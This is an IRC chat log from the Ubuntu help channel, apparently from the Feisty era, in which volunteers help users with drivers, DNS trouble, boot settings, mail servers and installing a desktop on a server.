[08:27] <ubotu> pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[08:27] <bassam> people u didnt tell me how to do that?>
[08:28] <[coca1ne] > aguitel: then its couse of the old package of driver... use the old commmand: sudo nvidia-glx-config enable
[08:28] <bassam> i need my lost movies
[08:28] <cellofellow> Dr_willis: looks interesting. Gonna have to check it out. I hope it's very configurable.
[08:28] <erUSUL> boojah: de config file is in /boot/config-2.6.20-16-generic
[08:28] <[coca1ne] > it should be workin and then it should make a copy of your old xorg.conf
[08:28] <phreekbird> I have setup lamp before int he past (using 6.10) i just setup 7.04 and apache isnt accessable by name... only  by IP, what did i do wrong?
[08:28] <boojah> Dr_willis: seems i have the kernel sources after all.... but when i do make it says Kernel Make file not found at /lib/modules/$(uname -r)/build/Makefile
[08:28] <[nrx] > cellofellow: http://paste.ubuntu-nl.org/37336/
[08:28] <Dr_willis> boojah,  your kernel version/source version/kernel version you are curently USING. may be different.
[08:29] <jrib> bassam: does 'sudo fdisk -l' list more than one partition?
[08:29] <Dr_willis> boojah,  ive never needed to recompile the kernel under ubuntu. so not sure whats the right wayt to do it.
[08:29] <Dr_willis> !kernel
[08:29] <ubotu> kernel is the core of the Ubuntu Operating System (named 'Linux') - see https://help.ubuntu.com/community/Kernel.  You shouldn't have to compile one, but if you're convinced you do, see https://wiki.ubuntu.com/KernelCustomBuild
[08:29] <bassam> why yahoo dont work on ubunto?
[08:29] <boojah> ok.. i just installed ubuntu on my new laptop, so i haven't updated the latest kernel yet
[08:29] <bassam> no
[08:29] <Dr_willis> boojah,  :)  yea. may want to do that befor messing with stuff
[08:29] <bassam> i mean yahoo messenger
[08:29] <boojah> Dr.willis: aye, will do :P
[08:30] <cellofellow> [nrx] : I'm befuddled, but that's just me.
[08:30] <jrib> bassam: then your data is gone.  If you do not have backups, then accept this as a learning experience.  From now on keep backups, especially if you are repartitioning your drive.  You can use gaim to talk with people on yahoo's network.
[08:30] <[coca1ne] > aguitel: if any more question please PM.. Im in another channel
[08:31] <[nrx] > cellofellow: ok, ty :)
[08:31] <bassam> what is gaim how to get it?????
[08:31] <aguitel> coca1ne , what channel?
[08:31] <[coca1ne] > aguitel, doesnt matter... just pm me Im also in this channel but i dont read it ^^
[08:31] <boojah> bassam: you most likely have gaim... under Application->Internet
[08:32] <kaukse> Hi all, i'm looking for a command line mp3/ogg tagger able to add cover pictures to audio files. I tried eyeD3 but it doesn't seem to work (neither gmpc nor easytag  show me the picture after I added it). Any idea ?
[08:32] <boojah> bassam: at least if you are running ubuntu
[08:32] <[coca1ne] > aguitel, its on freenode-irc server not here
[08:32] <bassam> i see thank you
[08:32] <aguitel> coca1ne , a ok
[08:32] <aguitel> coca1ne , now i restart x
[08:32] <Pici> [coca1ne] : This is freenode.
[08:33] <[coca1ne] > Pici hmm your right lol :) but its another Ive got 2 different connections
[08:34] <[coca1ne] > ok fuck
[08:34] <[coca1ne] > lol
[08:34] <[coca1ne] > Pici Im with 2 differnt names on the same fuckin server lol
[08:34] <stdin> !ohmy | [coca1ne] 
[08:34] <ubotu> [coca1ne] : Please watch your language and keep this channel family friendly.
[08:34] <[coca1ne] > sry ;)
[08:35] <speps> hey guys ... help with fonts ... i often see ugly fonts in pdf ... i mean without antialiasing. I use Ubuntu Feisty 64.Please Help!
[08:36] <rolly> hi all, newbie question: how do I browse to my desktop using the terminal ?
[08:36] <boojah> my intel wifi 4965AGN card wasn't detected.. has anyone succesfully installed iwlwifi driver on ubuntu?
Can't get to tghc.org to get instructions for 64bit swiftweasel + Java</grumble>
[08:37] <Tomcat_> rolly: cd ~/Desktop
[08:37] <poningru_> rolly, cd Desktop
[08:37] <rolly> Tomcat_ :thanks!
[08:37] <poningru_> what he said
[08:38] <balg> Hi all, I'm looking at buying a cheap laptop for ubuntu, anyone have any recommendations as far as compatibility?
[08:38] <rolly> Tomcat_ what does this ~ mean ?
[08:38] <Dr_willis> balg,  how cheap is CHEAP. :)
[08:38] <[nrx] > rolly: ~ is shortcut for your home dir :)
[08:38] <pack> rolly: The ~ means your home directory. if you type pwd it will print the directory you're currently in
[08:39] <balg> gonna try Ebay for around 400 or so
[08:39] <Dr_willis> balg,  i grabbed a $350 "GQ" brand laptop the otehr day.. it ran linux ok. :) no idea on the wireelss and otehr bits however.
[08:39] <Tomcat_> rolly: ~ is automatically extended to /home/<youruser>
[08:39] <Dr_willis> balg,  this was new. :) semperon Cpu. 512 ram 30gb hd.
[08:39] <balg> whered you grab it from?
[08:40] <Dr_willis> balg,  Frys Electronics on a Holiday sale. They got similer machines for $400 all the time.
[08:40] <rolly> ok thanks guys !
[08:40] <Dr_willis> Its amazing the new laptop ya can get for $500 these days
[08:40] <pack> Tomcat_, it actually just follows what $HOME in your environment is set to.
[08:40] <[nrx] > someone help me get DNS sorted please :'(
[08:40] <balg> okay cool, ill check it out. thanks
[08:41] <boojah> anyone using intel wifi card here?
[08:41] <Gowrav> Hi room just corrected my corrupted ISO image by bit torrent.. looks good but need to verify the download i have winMD5sum installed .. what to do next ..
[08:42] <zach0090> Can someone help me with setting up a SLIP hardwired connection?
[08:42] <pack> [nrx] , you should read http://catb.org/~esr/faqs/smart-questions.html. What's your dns issue?
[08:42] <clegane> boojah: ya, why?
[08:42] <Skrypt> what's the command to clean up a folder of all the make and configure files after you install from source?
[08:42] <Skrypt> make clean?
[08:42] <boojah> clegane: did ubuntu detect it after installation, or did you have to get a driver manually?
[08:42] <Delgul> How do I disable xgl in gutsy? I need my direct rendering back...
[08:42] <pack> Skrypt, usually, but it's whatever is in the Makefile.
[08:42] <CoasterMaster> Gowrav, bittorrent should automatically detect a courrupted file
[08:42] <sleon> how is the utility for hardware configuraiton is called ?
[08:42] <[nrx] > pack, DNS seems to be broken. nslookup in console works fine, in firefox it doesn'.
[08:43] <[nrx] > pack, apt-get resolves all hosts to 1.0.0.0
[08:43] <zach0090> please
[08:43] <clegane> boojah: was automagic; here's the lspci of it 02:08.0 Ethernet controller: Intel Corporation 82801DB PRO/100 VE (MOB) Ethernet Controller (rev 83)
[08:43] <Gowrav> CoasterMaster: means after bit torrent says 100% downloaded is a guarantee of 100% Correct download !!!
[08:43] <pack> [nrx] , i'm a bit confused, how are you running apt-get from firefox?
[08:43] <ikonia> [nrx]  what is your nsswitch.conf saying ?
[08:43] <boojah> clegane: ok.. i wan't so lucky :(
[08:44] <Skrypt> thanks pack
[08:44] <CoasterMaster> Gowrav, yeah should be.  The program does checksums upon each piece.  After burning, if you want to double check, the Ubuntu CD boot menu has an option to verify the disc
[08:44] <[nrx] > pack, im running apt-get from console. i was saying that in firefox, i.e. www.google.co.uk doesn't work. IP addresses work fine though. In console, nslookup can resolve perfectl, but apt-get can not
[08:44] <clegane> boojah: sorry to hear it
[08:44] <Gowrav> CoasterMaster: thanx
[08:44] <clegane> boojah: what kind of problem are you having?
[08:44] <zach0090> How do I set up a hardwired SLIP connection using dip?
[08:44] <ikonia> [nrx]  I know whata happening !
[08:45] <ikonia> [nrx]  its just clicked
[08:45] <boojah> clegane: i can't find the wireless in network
[08:45] <bassam> can i have both windows and ubunto at the same time?
[08:45] <boojah> clegane: i assume its not loaded
[08:45] <[nrx] > ikonia: !?!? :)
[08:45] <ikonia> [nrx]  you've got a proxy set - the proxy address is 10.0.0.1 thats why everything is going to 10.0.0.1
[08:45] <elcasey> anyone intimately familiar with the CLI utility "burn"?
[08:45] <SpudDogg> any idea how to fix this?  error while loading shared libraries: libgtk-1.2.so.0: cannot open shared object file: No such file or directory
[08:45] <SpudDogg> The setup program seems to have failed on x86/glibc-2.1
[08:45] <elcasey> I'm trying to figure out how to specify *which* burner to use
[08:46] <[nrx] > ikonia: it's going to 1.0.0.0
[08:46] <clegane> boojah: what's ifconfig saying?
[08:46] <ikonia> [nrx]  thats the proxy address then
[08:46] <[nrx] > where would that be set?
[08:46] <ikonia> [nrx]  there is an option in system-->admin somewhere
[08:46] <Delgul> How do I turn off XGL in gutsy anyone?
[08:46] <boojah> clegane: im using wired atm
[08:46] <zach0090> please help me with a slip hardwired connection (NO MODEM)
[08:46] <boojah> clegane: but right now the laptop is rebooting
[08:47] <Floating> can someone help me getting fglxr installed?
[08:47] <chalcedony> we upgraded my computer to Feisty two days ago, today my gnome terminals is frozen, what can i do?
[08:47] <Floating> it askes for the cd to be inserted, but it dont recoqnize there cd
[08:47] <[nrx] > ikonia: i haven't setup any proxies or anything
[08:47] <ikonia> [nrx]  thats the only explination
[08:48] <beboptux_> y a t'il quelquin?
[08:48] <beboptux_> lu
[08:48] <[nrx] > it must have something to do with the network connection in general
[08:48] <beboptux_> it's in english?
[08:48] <pack> [nrx] , the apt-get thing is a bit weird. Try running /etc/init.d/nscd restart and then restarting firefox.
[08:48] <[nrx] > i have none of these problems at the office :/
[08:49] <dgjones> fr | beboptux_
[08:49] <Skelet0n> any1 able to help with X server and Terminal freeze and crash?!
[08:49] <dgjones> !fr | beboptux_
[08:49] <ubotu> beboptux_: Allez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.
[08:49] <[nrx] > pack, i don't have an nscd in /etc/init.d
[08:50] <zach0090> how do I set up a slip connection to install freebsd on my laptop?
[08:50] <[nrx] > pack, i have connection problems in general. At the office, this laptop is fine. Here, at home, i've got all kinds of issues
[08:50] <chalcedony> we upgraded my computer to Feisty two days ago, today my gnome terminals is frozen, what can i do?
[08:51] <ikonia> chalcedony reboot
[08:51] <zach0090> !slip
[08:51] <ubotu> Sorry, I don't know anything about slip - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi
[09:09] <chalcedony> ikonia: sigh
[09:09] <chalcedony> ikonia: shouldn't i be able to see where the bug is, and just restart gnome terminal ?
[09:09] <ikonia> not if your desktop has hung
[09:09] <[nrx] > ctrl + alt + backspace?
[09:09] <Skelet0n> any1 able to help with X server and Terminal freeze and crash?!
[09:09] <clegane> /leave
[09:09] <clegane> doh
[09:09] <Mr_Pan> hi i have a 3com wifi pci card , i can see it with into LSPCI list but i can't see and configure with ICONGI and IWCONFIG commands. any ideas?
[09:09] <dwxreaper> how come it is random if my machine comes up or not.  i will reboot it, and it is definitly random
[09:09] <dwxreaper> you will be able to enter user/pass, but then it is not useable on console and does not ping
[09:09] <chalcedony> ikonia: i'm typing to you on it, so jsut gnome terminals
[09:09] <Jack_Sparrow> dwxreaper: Could be ram, power supply , does live cd work without a problem
[09:09] <Stwange> can anyone give me a hand with nm-applet? I ran: /etc/dbus-1/event.d/25NetworkManager stop and now I can't get it back. I've tried /etc/init.d/networking restart, I've tried running it from the terminal and ALT+F2 and it runs in my processes, but doesn't appear on the task bar
[09:09] <webpower> how to equalize music with totem?
[09:09] <amr>  hallo i have a q? i read something about initNG and if makes linux boot faster but i wander when it will be added to ubuntu default install
[09:09] <ikonia> chalcedony what where the terminals doing ?
[09:09] <nanonyme> which package should i install to get command line latex?
[09:09] <[nrx] > :(
[09:09] <chalcedony> ikonia: i was asleep, nothing but sitting there
[09:09] <ikonia> amr initng is a different init system, its not currently part of ubuntu nor is it planned as ubuntu users upstart
[09:09] <Pici> Stwange: try /etc/dbus-1/event.d/25NetworkManager start or reboot (that might work)
[09:09] <dwxreaper> jack: I don't know, I havent tried on the live CD
[09:09] <praet> nanonyme: vim-latex-suite?
[09:09] <dwxreaper> jack: there is no way that's an ubuntu thing?
[09:09] <Skelet0n> any1 able to help with X server and Terminal freeze and crash?!
[09:09] <dwxreaper> dwxreaper: i am powering this down remotely, and using kvm over ip
[09:09] <amr> ikonia , which is better?
[09:09] <dwxreaper> dwxreaper: but bios  is set to load after power loss, and it comes up to login screen..
[09:09] <nanonyme> praet, i mean, i need executable latex. a build script depends on it
[09:09] <ikonia> amr its personal opinion
[09:09] <hendrixski> What other programs are compatable with scribus?  I can't figure out if other programs can use the .sla files that it makes
[09:09] <Stwange> Pici, I tried start, reboot and restart, none of them brought it back :(
[09:09] <Retorik> #dedibox
[09:09] <Jack_Sparrow> dwxreaper: Running and booting live cd will define hardware vs software problem
[09:09] <amr> ikonia , which is faster boot
[09:09] <ikonia> amr depends on your system
[09:09] <ikonia> amr and how the distro is put together
[09:09] <amr> ikonia , so you advice me to stick to ubuntu default upstart
[09:09] <dwxreaper> jack: how could it be a hardware problem, on console it always gets to login, it's just unsable once you login
[09:09] <amr> ikonia , that is good
[09:09] <ikonia> amr I advise you to not try to change init systems unless you are VERY strong with linux
[09:09] <|Lunar_Lamp|> !channels
[09:09] <ubotu> A list of official Ubuntu IRC channels, as well as IRC clients for Ubuntu, can be found at https://help.ubuntu.com/community/InternetRelayChat - For a general list of !freenode channels, see http://freenode.net/faq.shtml#channellist - See also !Guidelines
[09:09] <ubuntuuser> Hello Every One!
[09:09] <amr> ikonia , i have another question about kernel upgrade and kernel performance patches
[09:09] <Skelet0n> any1 able to help with X server and Terminal freeze and crash?!
[09:09] <Jack_Sparrow> dwxreaper: Good...  so it is in ubuntu.. any thing non-ramdom about it
[09:09] <ikonia> amr ask if your question is related to ubuntu
[09:09] <amr> will it be better to recompile my ubuntu kernel and put the kernel performance patches or stick with ubuntu gernric kernel
[09:09] <[nrx] > hm
[09:09] <Jack_Sparrow> amr: generic
[09:09] <dwxreaper> jack: no it appears random.  I just rebooted it three times
[09:09] <|Lunar_Lamp|> I have a directory on my webserver that I want a particular user to be able to upload/download files to edit the contents of it.  I wish for the method to be via ftp.  How can I allow him access to just this dir, and how do I set it up?
[09:09] <dwxreaper> jack: the forth time it came back
[09:09] <dwxreaper> jack: this happens often
[09:09] <amr> ikonia , can i know why ?
[09:09] <ikonia> amr only people who know a LOT about a linux distribution should build their own kernels, there are some clever people on the ubuntu team - and they know better than you
[09:09] <nanonyme> ah, apparently it was tetex-bin
[09:09] <ikonia> amr the kernel is not for playing around
[09:09] <amr> ikonia , thank you!
[09:09] <[nrx] > meh
[09:09] <dwxreaper> dwxreaper: sometimes vnc seems to come back to, sometimes it doesn't. i installed ntop, vnc, x-11 or something
[09:09] <clegane> amr if you want to get into that stuff, roll gentoo for a while
[09:09] <dwxreaper> changed the interface network config file
[09:09] <dwxreaper> that's all i think
[09:09] <amr> ikonia , ikonw but i use linux for fun and education not as a platform
[09:09] <Jack_Sparrow> dwxreaper: cant say that I have seen this happen before
[09:09] <ubuntuuser> i need help sum1
[09:09] <Pici> !ask | ubuntuuser
[09:09] <ubotu> ubuntuuser: Don't ask to ask a question. Just ask your question :)
[09:09] <dwxreaper> jack: how do I selectivly turn off startup application, similiar to msconfig in windows
[09:09] <dbodner> actually, IMO, the kernel is for playing around.  It's a great way to learn about the inner workings.  Just make sure you 1) read up before doing so, 2) don't remove your current working kernel, and keep it as an option in grub
[09:09] <ubuntuuser> how do i run the desktop i ve installed in the server
[09:09] <ikonia> dbodner not if you don't have a clue
[09:09] <Jack_Sparrow> dwxreaper: I wouldnt know where to start helping you with that,  I need to go eat and get a nap in..
[09:09] <dbodner> ikonia: and the best way to get a clue is to try.  Like I said, read, then try, and when you fail, boot back to your original kernel
[09:09] <ikonia> dbodner I don't advise new users in this channel to start building their own kernels when they know little about how the distro is packaged, how the distro uses the kernel or how the generic kernel works
[09:09] <Skelet0n> any1 able to help with X server and Terminal freeze and crash?!
[09:09] <Pici> ubuntuuser: kde or gnome?
[09:09] <amr> clegane , i did download gentoo but failed to boot on my machine
[09:09] <praet> nanonyme: vim-latex-suite  << will compile tex files?
[09:09] <Pici> Skelet0n: You need to provide more information in your question, it is very vague.
[09:09] <ubuntuuser> pici: so just put kde i the command
[09:09] <amr> clegane , and it was downloaded by torrent and verified after burning
[09:09] <ikonia> amr #gentoo will help you with that
[09:09] <nanonyme> praet, it's not enough that it can just compile them. it needs to be able to work together with a Makefile
[09:09] <Pici> ubuntuuser: ... Did you install kubuntu-desktop or ubuntu-desktop?
[09:09] <velko> praet, it's a set of commands for vim which will help you writing and compiling latex files
[09:09] <amr> ikonia , i failed to get support with my problem and thier forum isn't as good as ubuntu
[09:09] <ubuntuuser> Pici:first i installed uduntu-server then megatron gave me a coomand to install desktop
[09:09] <amr> ikonia, it's something about a problem with kernel support to my IDE
[09:09] <Pici> ubuntuuser: do `sudo /etc/init.d/gdm start`
[09:09] <ubuntuuser> Pici: command not found
[09:09] <pike_> ubuntuuser: what command did you use to install desktop environ?
[09:09] <Skelet0n> any1 able to help with X server and Terminal freeze and crash?!
[09:09] <ubuntuuser> sudo apt-get install ubuntu-desktop
[09:09] <Pici> ubuntuuser: And you didn't get any errors?
[09:09] <amr> skelet0n , boot on recovery mode and try runas root "dpkg-reconfigure -phigh xserver-xorg"
[09:09] <Pici> ubuntuuser: which command is not found?
[09:09] <[nrx] > what should a users default routing table look like?
[09:09] <[nrx] > i know that sounds really stupid :/
[09:10] <ubuntuuser> Pici: sudo /etc/init.d/gdm start
[09:10] <Skelet0n> http://ubuntuforums.org/showthread.php?t=550118
[09:11] <[nrx] > what should a users default routing table look like?
[09:11] <[nrx] > i know that sounds really stupid :/
[09:12] <neverblue2> can I make panels stick, so no one can delete them ? (Gnome panels)
[09:13] <ubuntuuser> Pici: ?
[09:13] <Pici> [nrx] : http://pastebin.com/fe3b2587
[09:14] <Pici> ubuntuuser: Have you rebooted?
[09:14] <ubuntuuser> no but got this error unable to fetch some archieves, maybe apt-get update or try with --fix-missing
[09:14] <osmosis> what package owns  /usr/bin/man  ?
[09:14] <Pici> ubuntuuser: do apt-get update
[09:14] <loquitus_of_borg> What would recommend as the "Best" bug tracking software in PHP?
[09:14] <ubuntuuser> perrmision denied
[09:15] <pike_> ubuntuuser: just curious why did you do server install if you want all the stuff in ubuntu-desktop? did you want a leaner system? you dont have to use the metapaakge for gui
[09:15] <[nrx] > Pici:  thank you very much :)
[09:15] <velko> neverblue, https://answers.launchpad.net/ubuntu/+source/gnome-panel/+question/201
[09:15] <kjackson793> quick easy question... I teach a class using PHP and MySQL... I've use knoppix LiveCD in the past.. I'd like to use Ubuntu Server... does it come with a GUI or is it bare bones?
[09:16] <ubuntuuser> Pici: becuase i my friend gave me the cd for it and he had told me it was desktop but all isee is the command lines
[09:16] <Gowrav> writing Ubuntu on a RW disk which has given size warning .. its 650 MB only can i continue if no very important files are at end sectors !!!
[09:16] <ubuntuuser> so i wanted desktop
[09:16] <jonnymac> greetings fellow freedom lovers
[09:17] <Pici> Gowrav: That will not work. The cd does a md5sum check and it will fail if the contents are different.
[09:17] <Gowrav> Pici: ok
[09:18] <jonnymac> how do you find an integrated webcam on ubuntu
[09:18] <Skelet0n> http://ubuntuforums.org/showthread.php?t=550118
[09:19] <ubuntuuser> ??
[09:19] <Pici> osmosis: man-db  fyi, /usr/bin/man is a symlink to /usr/lib/man-db/man
[09:19] <Pici> ubuntuuser: sudo apt-get update
[09:19] <osmosis> Pici: cool
[09:19] <velko> osmosis, man-db
[09:19] <ubuntuuser> Pici: Permission Denied
[09:21] <Pici> ubuntuuser: even with sudo there?
[09:21] <ubuntuuser> yup
[09:21] <jonnymac> anyone got any ideas on the integrated webcam  problem
[09:21] <Pici> !nickspam > ciska (Please see the private messsage from ubotu)
[09:22] <ciska> Pici: oh yeah, kinda forgot. i'm just trying to get this nick linked.
[09:22] <ganoush> so i installed ubuntu but it defaults as the os in the boot manager.  how do you change this (i want windows)
[09:22] <genii> Hmm choices choices .... LOL
[09:23] <genii> [nrx] : OK, state succinctly the issue
[09:23] <tonyy> ganoush: edit /boot/grub/menu.lst to your liking
[09:23] <S1L3nT_b0M8Er> me
[09:23] <velko> ganoush, change the number after the word "default" in /boot/grub/menu.lst
[09:23] <lonran> i have installed firefox 32 in ubuntu 64 and when i open a dialog window to save an image, for example, all characters are squares. Any idea how can i fix it? thnks
[09:23] <ganoush> velko: so i need to be in ubuntu to do this
[09:23] <ubuntuuser> Pici: Even with sudo
[09:23] <ganoush> ok thanks guys
[09:23] <keen> can anyone help me with dual monitor set up
[09:23] <Pici> ubuntuuser: What version of ubuntu did you install?
[09:23] <tonyy> ganoush: not necessarily - you can do it with a live cd or an ext3 filesystem driver for windows as well
[09:24] <ubuntuuser> Ubuntu 7.04 - Supported to 2008
[09:24] <[nrx] > genii: pm ok?
[09:24] <velko> ganadist, not nesessarly. if you can open/write to this file from windows you can do it from windows also
[09:24] <genii> [nrx] : sure
[09:24] <Pici> ubuntuuser: can you log out, log back in and try it again?
[09:24] <ubuntuuser> ok
[09:24] <tonyy> ganoush: http://fs-driver.org/ for one option for the latter (freeware, NOT open-source, I forget the one that is)
[09:24] <ubuntuuser> let me try
[09:25] <hjmills> ganoush, its worth using a live cd over the ext2/3 driver for windows - that has caused problems for me recently
[09:25] <ubuntuuser> how do i logout im new
[09:25] <ganoush> ok cool
[09:25] <ganoush> i'm going to reinstall ubuntu now
[09:25] <ubuntuuser> nm
[09:25] <Floating> whats the blocksize for the 7.04 alternate i386 cd? - just downloaded it and nero says wrong blocksize
[09:25] <keen> soooo nobody can help?
[09:25] <tonyy> hjmills: really?  I've never had a problem with it.  What sort of issues di you have?
[09:25] <hjmills> Floating, do an md5sum to check its not a bad download
[09:26] <pike_> keen: with what?
[09:26] <ubuntuuser> Pici: dpkg was inturrupted,you must manually run 'dkpkg --configure -a' to correct the problem
[09:26] <hjmills> tonyy I never had a problem in the past but I mounted my linux drives in a new, clean XP install so I could access a few files and play music (think I only used it for reading) and when I booted back into ubuntu i had errors on 2 of the 3 filesystems I mounted
[09:26] <Pici> ubuntuuser: run it (with sudo)
[09:26] <bottiger> how do I install acroread?
[09:27] <tonyy> !info acroread
[09:27] <ubotu> Package acroread does not exist in feisty, feisty-seveas
[09:27] <keen> pike_, setting up dual monitors
[09:27] <w0nder> Are there multiple sendmail packages for ubuntu or something?
[09:27] <ubuntuuser> Pici: its setting up
[09:28] <pike_> keen: only thing ive ever messed with is twinvew using nvidia cards
[09:28] <velko> w0nder, different programs implement "mail server": exim, postfix, sendmail...
[09:28] <pike_> keen: for extra monitor and projectors and stuff
[09:29] <w0nder> velko: do you know how to setup sendmail just as a simple mail sender for handling php forms?  I had a previous install of ubuntu and it seemed to work flawlessly out of the box... with this install it's broken?
[09:29] <keen> pike_ i have an ati unfortunately, thanks tho =D
[09:30] <pandora--_> whoa. when my laptop screen blanks (idle) it comes back REALLY messed up! (fiesty/ferrari laptop) anyone heard of this?  the screen is dark and weird colors :(
[09:30] <velko> w0nder, i had to do a long fight with sendmail on debian. never used it on ubuntu, so i don't know. but if you want a simple solution it's better to setup postfix
[09:31] <MarcC> how do I switch the Feisty installer into text mode?
[09:31] <w0nder> velko: hmm.. ok.. i imagine changing to postfix would also require some tweaking of php.ini?
[09:31] <XomboX> hello
[09:31] <velko> w0nder, i don't know. i don't program with php
[09:31] <XomboX> does anyone got experience with Leadtek Winfast TV2000 Expert? I am thinking about buying it.
[09:31] <DShepherd> MarcC, the Desktop Installer right?
[09:32] <Pici> ubuntuuser: I'm leaving, so if you have any more questions you'll need to ask the channel.
[09:32] <pike_> MarcC: if youre on livecd you dont have text installer but if ya just want cli alt-ctrl-f1 through f6  alt-f7 to get back to gui
[09:32] <SpudDogg> are there any advantages to changing over to 64-bit ubuntu?  Athlon 64 4000+
[09:32] <MarcC> DShepherd: the Feisty install CD
[09:32] <|brad|> w0nder, no why would it
[09:32] <ubuntuuser> ok thanks
[09:32] <MarcC> doh
[09:32] <Linuturk> I have a dell poweredge 650, with a hardware raid controller. I'm being asked for a driver for said controller. Any ideas?
[09:32] <w0nder> velko: thanks |brad|: I would think it would need to know what app to use?
[09:33] <WaltzingAlong> SpudDogg: more or less just using 64 bit os on 64 bit hardware; maybe great improvements in performance for things like video editing or manipulating large graphics
[09:33] <SpudDogg> WaltzingAlong: it wont make a difference for gaming?
[09:34] <|brad|> w0nder, when postfix gets installed it is conviently called sendmail
[09:34] <WaltzingAlong> SpudDogg: i would say not yet
[09:34] <SpudDogg> WaltzingAlong: ok cool.  thanks
[09:34] <WaltzingAlong> SpudDogg: none you would notice anyway.
[09:34] <w0nder> ooo gotcha
[09:35] <WaltzingAlong> SpudDogg: and things like javavm or flash plugins will be trickier too; a bit more hassle at present
[09:35] <WaltzingAlong> SpudDogg: but you could also set up the 64bit os then inside that run a 32bit chroot
[09:35] <SpudDogg> WHAT?!?!?!!?  21 CDs to download for Debian?  Wow
[09:36] <gosha> Weee, hello.
[09:36] <phoenix24> How can I configure UPSTART and my startup script?
[09:37] <ikonia> !upstart
[09:37] <ubotu> Upstart is meant to replace the old Sys V Init system with an event-driven init model.  For more information please see: http://upstart.ubuntu.com/
[09:37] <phoenix24> ikonia: that didn't help
[09:37] <ikonia> have you read it ?
[09:37] <phoenix24> yeah
[09:37] <ikonia> what part are you not clear with
[09:38] <phoenix24> I need to remove services from startup.. could'nt figure how to do that.
[09:38] <airstrike> can anyone help me with django/apache? i can't access http://127.0.0.1/admin after setting everything up..
[09:38] <pike_> SpudDogg: i admit it is a modest amount for a full install but keep in mind we are growing all the time
[09:38] <|DL|> Maybe not supported by official suport but I have Ultimate 1.4 installed and fired up upgrade and it takes forever is it ok? How long does it regulatly take in time/mb? Anyone Please. And thank you all making me switch I finally feel free and happy and back in IRC OMG haven't done this in 6 years. Sorry for long msg
[09:39] <ikonia> so the page that says "job control - how to start and stop services" didn't help ?
[09:39] <airstrike> phoenix: system, preferences, sessions
[09:39] <w0nder> velko: |brad|: You guys rule.  I was working on sendmail all day and was about to pull my hair out... i installed postfix, just followed the setup and it worked flawlessly out of the box. amazing. thanks a lot
[09:40] <phoenix24> ikonia: nope
[09:40] <ikonia> http://upstart.ubuntu.com/getting-started.html
[09:40] <ikonia> what part of this under job control is not clear ?
[09:40] <phoenix24> ikonia: How can I remove apache2 from startup ?
[09:40] <ikonia> phoenix24 read the page I've sent you and it explains how jobs are configured
[09:40] <ikonia> then you can apply that to your system
[09:41] <|brad|> w0nder, awesome!
[09:41] <erUSUL> phoenix24: 'sudo update-rc.d -f apache remove'
[09:41] <kazim59> I wrote code to multiply matrices of order 1000x1000 (and bigger)... what should I use to compare my algo with my friends'? (How much can I rely on the time command?)
[09:42] <orkid> 1131 users, wow.
[09:42] <orkid> :)
[09:42] <chino> whats the name of that hyperterminal like gnome app ?
[09:43] <ubuntuuser> How do i start the desktop on a server
[09:43] <orkid> install ubuntu-desktop
[09:43] <orkid> package
[09:43] <ubuntuuser> i did
[09:43] <orkid> it'll install all the desktop stuff.
[09:43] <chino> anyone please ?
[09:43] <ubuntuuser> orkid: sudo apt-get install ubuntu-desktop
[09:43] <ubuntuuser> idid tht
[09:43] <orkid> why not use a normal terminal chino  ?
[09:43] <orkid> ubuntuuser: did you reboot?
[09:43] <ubuntuuser> no
[09:44] <orkid> if you do, it might put you right into X
[09:44] <chino> orkid:  because im connecting to a serial console
[09:44] <pike_> ubuntuuser: do you have xserver-xorg installed?
[09:44] <chino> orkid:  like a router etc...
[09:44] <ubuntuuser> pike_: idk
[09:44] <orkid> chino: you could use gnome-terminal , and some character based program to do it (minicom comes to mind, but i haven't use it, and it might be more geared to modems)
[09:44] <pike_> ubuntuuser: try typing 'xinit'  see what happens.  it wont be the gnome desktop but very minimal wm
[09:45] <chino> look dude
[09:45] <chino> i asked whats hte name of the program
[09:45] <chino> i know about minicom
[09:45] <ubuntuuser> pike_: but how do i start the desktop
[09:45] <pike_> !easysource | ubuntuuser
[09:45] <ubotu> ubuntuuser: source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic
[09:45] <chino> now if someone knows the anme of it please
[09:46] <Ice``> hello there
[09:46] <Ice``> i'm seeking for mr_mirsal
[09:46] <ianm_> do any Ubuntu screencasting solutions let you record just a rectangle around the mouse pointer?
[09:46] <pike_> ubuntuuser: build your list there and compare it to the list you see when ya sudo nano /etc/apt/sources.list
[09:46] <ubuntuuser> lok
[09:46] <pike_> ubuntuuser: make your sources.list the same as on that page then save in nano and exit and type 'sudo apt-get update'
[09:46] <chino> isn't ther ea web based repo browser so i can search ?
[09:46] <pike_> chino: packages.ubuntu.com
[09:47] <urilockz> I have a huge problem, When I try to install or update etc, I get ... Type wget is not known on line 48 in source list /etc/apt/sources.list
[09:47] <ubuntuuser> pike_: idid sudo apt-get update
[09:47] <orkid> kermit, miniterm. kvt (kde based). are you sure there is a gnome one?
[09:48] <orkid> http://www.telltronics.org/software/sgsterm/
[09:48] <pike_> ubuntuuser: did it jsut return a prompt or did it error?
[09:48] <orkid> (gnome serial terminal)
[09:48] <phoenix24> erUSUL: thanks for "update-rc.d -f "
[09:48] <ubuntuuser> pike_: return
[09:48] <pike_> ubuntuuser: sudo apt-get install ubuntu-desktop
[09:49] <ubuntuuser> pike_: did tht first
[09:49] <pike_> ubuntuuser: if that works then try sudo /etc/init.d/gdm restart   again. do it over now that youve updated sources.list
[09:49] <ubuntuuser> ok
[09:49] <pike_> ubuntuuser: do the udpated again
[09:49] <bruenig> urilockz, which third party repository did you try to add? automatix, medibuntu or what?
[09:50] <urilockz> uh let me see
[09:50] <ompaul> !automatix
[09:50] <ubotu> Automatix2 is a block of code which attempts to install some software.  When it fails and breaks systems, we don't provide support for it.  A creditable analysis from a debian/ubuntu developer is here - http://mjg59.livejournal.com/77440.html (Additional information: /msg ubotu worksforme)
[09:51] <drgeb> which one is better spashy or usplash ?
[09:52] <ubuntuuser> pike_: i restarted and it doesnt move from Running local boot scripts (etc/re.local
[09:52] <keito> does anone here use automatix? if so where would the firefox flash plugin be installed (its not in ~/.mozilla/plugins/?!!!)
[09:52] <keito> !automatix
[09:52] <ubotu> Automatix2 is a block of code which attempts to install some software.  When it fails and breaks systems, we don't provide support for it.  A creditable analysis from a debian/ubuntu developer is here - http://mjg59.livejournal.com/77440.html (Additional information: /msg ubotu worksforme)
